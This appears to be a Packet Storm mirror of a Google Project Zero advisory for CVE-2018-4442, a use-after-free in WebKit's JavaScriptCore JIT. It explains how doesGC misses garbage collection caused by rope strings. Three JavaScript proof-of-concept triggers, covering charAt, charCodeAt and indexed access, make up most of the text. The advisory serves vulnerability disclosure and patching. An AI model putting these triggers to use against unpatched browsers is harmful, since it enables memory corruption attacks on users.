Lucene search

K
packetstormGoogle Security ResearchPACKETSTORM:151180
HistoryJan 16, 2019 - 12:00 a.m.

WebKit JSC JIT Use-After-Free

2019-01-1600:00:00
Google Security Research
packetstormsecurity.com
332

0.892 High

EPSS

Percentile

98.5%

`WebKit: JSC: JIT: GetIndexedPropertyStorage can GC   
  
CVE-2018-4442  
  
  
The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing some cases such as StringCharAt, StringCharCodeAt and GetByVal that might cause a garbage collection via rope strings. As a result, it can lead to UaF.  
  
PoC 1 - StringCharAt:  
function gc() {  
for (let i = 0; i < 10; i++) {  
new ArrayBuffer(1024 * 1024 * 10);  
}  
}  
  
function opt(arr) {  
let r = /a/;  
let o = {};  
  
arr[0].charAt(0);  
arr[1].charAt(0);  
arr[2].charAt(0);  
arr[3].charAt(0);  
arr[4].charAt(0);  
arr[5].charAt(0);  
arr[6].charAt(0);  
arr[7].charAt(0);  
arr[8].charAt(0);  
arr[8].charAt(0);  
arr[9].charAt(0);  
  
o.x = 'a'.match(r);  
  
return o;  
}  
  
function main() {  
for (let i = 0; i < 10000; i++) {  
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);  
}  
  
let a = 'a'.repeat(1024 * 1024 * 2);  
let b = 'a'.repeat(1024 * 1024 * 2);  
  
let arr = [];  
for (let i = 0; i < 10; i++) {  
arr[i] = a + b;  
}  
  
gc();  
  
let o = opt(arr);  
  
gc();  
  
let tmp = [1234];  
  
print(o.x); // 1234  
}  
  
main();  
  
PoC 2 - StringCharCodeAt:  
function gc() {  
for (let i = 0; i < 10; i++) {  
new ArrayBuffer(1024 * 1024 * 10);  
}  
}  
  
function opt(arr) {  
let r = /a/;  
let o = {};  
  
arr[0].charCodeAt(0);  
arr[1].charCodeAt(0);  
arr[2].charCodeAt(0);  
arr[3].charCodeAt(0);  
arr[4].charCodeAt(0);  
arr[5].charCodeAt(0);  
arr[6].charCodeAt(0);  
arr[7].charCodeAt(0);  
arr[8].charCodeAt(0);  
arr[8].charCodeAt(0);  
arr[9].charCodeAt(0);  
  
o.x = 'a'.match(r);  
  
return o;  
}  
  
function main() {  
for (let i = 0; i < 10000; i++) {  
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);  
}  
  
let a = 'a'.repeat(1024 * 1024 * 2);  
let b = 'a'.repeat(1024 * 1024 * 2);  
  
let arr = [];  
for (let i = 0; i < 10; i++) {  
arr[i] = a + b;  
}  
  
gc();  
  
let o = opt(arr);  
  
gc();  
  
let tmp = [1234];  
  
print(o.x); // 1234  
}  
  
main();  
  
PoC 3 - GetByVal:  
function gc() {  
for (let i = 0; i < 10; i++) {  
new ArrayBuffer(1024 * 1024 * 10);  
}  
}  
  
function opt(arr) {  
let r = /a/;  
let o = {};  
  
arr[0][0];  
arr[1][0];  
arr[2][0];  
arr[3][0];  
arr[4][0];  
arr[5][0];  
arr[6][0];  
arr[7][0];  
arr[8][0];  
arr[8][0];  
arr[9][0];  
  
o.x = 'a'.match(r);  
  
return o;  
}  
  
function main() {  
for (let i = 0; i < 10000; i++) {  
opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);  
}  
  
let a = 'a'.repeat(1024 * 1024 * 2);  
let b = 'a'.repeat(1024 * 1024 * 2);  
  
let arr = [];  
for (let i = 0; i < 10; i++) {  
arr[i] = a + b;  
}  
  
gc();  
  
let o = opt(arr);  
  
gc();  
  
let tmp = [1234];  
  
print(o.x); // 1234  
}  
  
main();  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`